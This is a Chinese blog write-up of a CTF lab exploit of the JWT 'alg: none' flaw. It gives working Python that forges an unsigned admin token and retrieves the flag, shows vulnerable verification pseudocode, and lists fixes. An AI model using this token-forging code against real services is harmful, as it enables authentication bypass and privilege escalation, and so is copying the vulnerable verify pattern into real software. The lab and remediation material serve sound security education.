AI渗透测试--JWT签名算法置空攻击:一个\"none\"绕过所有验证"

admin 2026-10-24 05:26:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- JWT签名算法置空攻击:一个\"none\"绕过所有验证

原创

yushao
yushao

网络安全者

2026年6月17日 09:02
河南

在小说阅读器读本章

去阅读

一、测试概述

项目 内容
测试类型 CTF 靶场漏洞复现
漏洞类型 JWT Algorithm Confusion (alg: none)
危害等级 高危
测试时间 2025年
目标环境 CTF Show 靶场(已授权)

二、漏洞背景

JWT(JSON Web Token)由三部分组成:

Header.Payload.Signature

其中 Header 中的 alg 字段告诉服务端用什么算法验证签名。RFC 7518 中定义了一个特殊值 none,表示\"无签名算法\"。

漏洞成因: 部分 JWT 库在实现时直接信任客户端传来的 alg 字段,当攻击者将其篡改为 none 后,服务端跳过签名验证,导致任意用户可伪造合法 token。


三、信息收集

访问靶场首页,页面提示:

\"将 alg 字段修改为 none 来绕过签名验证\"

这直接揭示了攻击面。正常登录入口为 /login,GET 请求返回 405,确认为 POST 接口。


四、漏洞复现步骤

Step 1:获取普通用户 JWT

使用普通凭据登录,从 Cookie 中提取 token:

import requests

session = requests.Session()
resp = session.post(
    \"https://[REDACTED].challenge.ctf.show/login\",
    data={\"username\": \"user\", \"password\": \"user\"},
    allow_redirects=True
)

token = session.cookies.get(\"token\")
print(f\"[+] 获取到 Token: {token}\")

输出:

[+] 获取到 Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]

Step 2:解码 JWT 结构

import base64
import json

def b64_decode_padding(s):
    \"\"\"Base64 URL 解码,自动补 padding\"\"\"
    s += \"=\" * ((4 - len(s) % 4) % 4)
    return base64.b64decode(s)

token = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImFkbWluIjpmYWxzZX0.[SIGNATURE]\"
parts = token.split(\".\")

header  = json.loads(b64_decode_padding(parts[0]))
payload = json.loads(b64_decode_padding(parts[1]))

print(f\"[*] Header:  {json.dumps(header,  ensure_ascii=False)}\")
print(f\"[*] Payload: {json.dumps(payload, ensure_ascii=False)}\")

输出:

[*] Header:  {\"alg\": \"HS256\", \"typ\": \"JWT\"}
[*] Payload: {\"user\": \"user\", \"admin\": false}

关键发现:admin 字段为 false,服务端以此判断权限。


Step 3:构造 alg:none 伪造 Token

import base64
import json

def b64_encode_nopad(data: bytes) -> str:
    \"\"\"Base64 URL 编码,去除 padding\"\"\"
    return base64.b64encode(data).decode().rstrip(\"=\")

# 篡改点1:alg 置为 none
forged_header  = {\"alg\": \"none\", \"typ\": \"JWT\"}
# 篡改点2:admin 提权为 true
forged_payload = {\"user\": \"user\", \"admin\": True}

header_b64  = b64_encode_nopad(json.dumps(forged_header,  separators=(\",\", \":\")).encode())
payload_b64 = b64_encode_nopad(json.dumps(forged_payload, separators=(\",\", \":\")).encode())

# 签名部分留空,服务端不再校验
forged_token = f\"{header_b64}.{payload_b64}.\"

print(f\"[+] 伪造 Token: {forged_token}\")

输出:

[+] 伪造 Token: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.

Token 结构分析:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0   ← {\"alg\":\"none\",\"typ\":\"JWT\"}
.
eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ  ← {\"user\":\"user\",\"admin\":true}
.
                                          ← 签名为空

Step 4:携带伪造 Token 访问受保护资源

import requests

forged_token = \"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoidXNlciIsImFkbWluIjp0cnVlfQ.\"

session = requests.Session()
session.cookies.set(\"token\", forged_token)

resp = session.get(\"https://[REDACTED].challenge.ctf.show/\")
print(resp.text)

响应片段(敏感信息已脱敏):

<title>恭喜获得 FLAG</title>
...

  Flag: CTF{jwt_n**e_a**_byp**s_su**ess}

Flag 成功获取。


五、攻击流程图

用户登录 (user/user)
        │
        ▼
获取正常 JWT (alg=HS256, admin=false)
        │
        ▼
解码 Header + Payload
        │
        ▼
篡改: alg=\"none\", admin=true
        │
        ▼
重新编码,签名置空
        │
        ▼
携带伪造 Token 请求 /
        │
        ▼
服务端: alg=none → 跳过签名验证
        │
        ▼
权限校验: admin=true → 返回 FLAG ✓

六、漏洞根因分析

存在漏洞的服务端伪代码:

# ❌ 危险实现:信任 token 自带的算法字段
def verify_token(token):
    header = decode_header(token)
    alg = header.get(\"alg\")          # 攻击者可控!

    if alg == \"none\":
        return decode_payload(token)  # 直接跳过验证
    else:
        return jwt.decode(token, SECRET_KEY, algorithms=[alg])

七、修复建议

方案一:硬编码允许的算法列表(推荐)

# ✅ 安全实现:服务端强制指定算法,不信任客户端
import jwt

def verify_token(token):
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[\"HS256\"]  # 白名单,明确排除 none
        )
        return payload
    except jwt.InvalidTokenError:
        return None

方案二:使用非对称算法(RS256/ES256)

# 私钥签发(服务端保管)
token = jwt.encode(payload, PRIVATE_KEY, algorithm=\"RS256\")

# 公钥验证(可公开),攻击者无法伪造签名
jwt.decode(token, PUBLIC_KEY, algorithms=[\"RS256\"])

方案三:升级 JWT 库版本

主流库(如 PyJWT >= 2.0)已默认拒绝 alg: none,确保依赖为最新版:

pip install \"PyJWT>=2.0.0\"

八、总结

步骤 操作
1 用普通账号登录,获取含 admin:false 的 JWT
2 Base64 解码,分析 token 结构
3 将 alg 改为 none,admin 改为 true
4 签名段置空,重新拼接 token
5 服务端跳过验证,以管理员身份响应

核心教训: JWT 的 alg 字段是用户可控的输入,永远不能被服务端盲目信任。签名算法应由服务端在验证时硬编码指定,而非从 token 本身读取。


本报告仅用于 CTF 学习与安全研究,所有测试均在授权靶场环境中进行。


    AI渗透测试--JWT签名算法置空攻击:一个\"none\"绕过所有验证" 网络安全文章

    AI渗透测试--JWT签名算法置空攻击:一个\"none\"绕过所有验证"

    本文详细分析了JWT签名算法置空攻击漏洞,通过CTF靶场复现展示了攻击者将alg字段篡改为none后服务端跳过签名验证的过程。关键发现包括:攻击者可伪造admin权限token获取FLAG,漏洞根因在于服务端盲目信任客户端传入的alg字段。提供了三种修复方案:硬编码算法白名单、使用非对称算法、升级JWT库版本。
    中小企业网络攻防对抗生存指南" 网络安全文章

    中小企业网络攻防对抗生存指南"

    本文针对中小企业在国家级网络攻防演练中的安全防护需求,提供实用生存指南。核心建议包括事前关闭非必要端口、强化密码策略、排查影子API、做好数据备份;事中重点关注5类关键告警并制定应急流程;事后将临时措施转化为常态化安全制度。文档强调中小企业易成攻击突破口,需通过基础防护措施提升安全底线。
    评论:0   参与:  0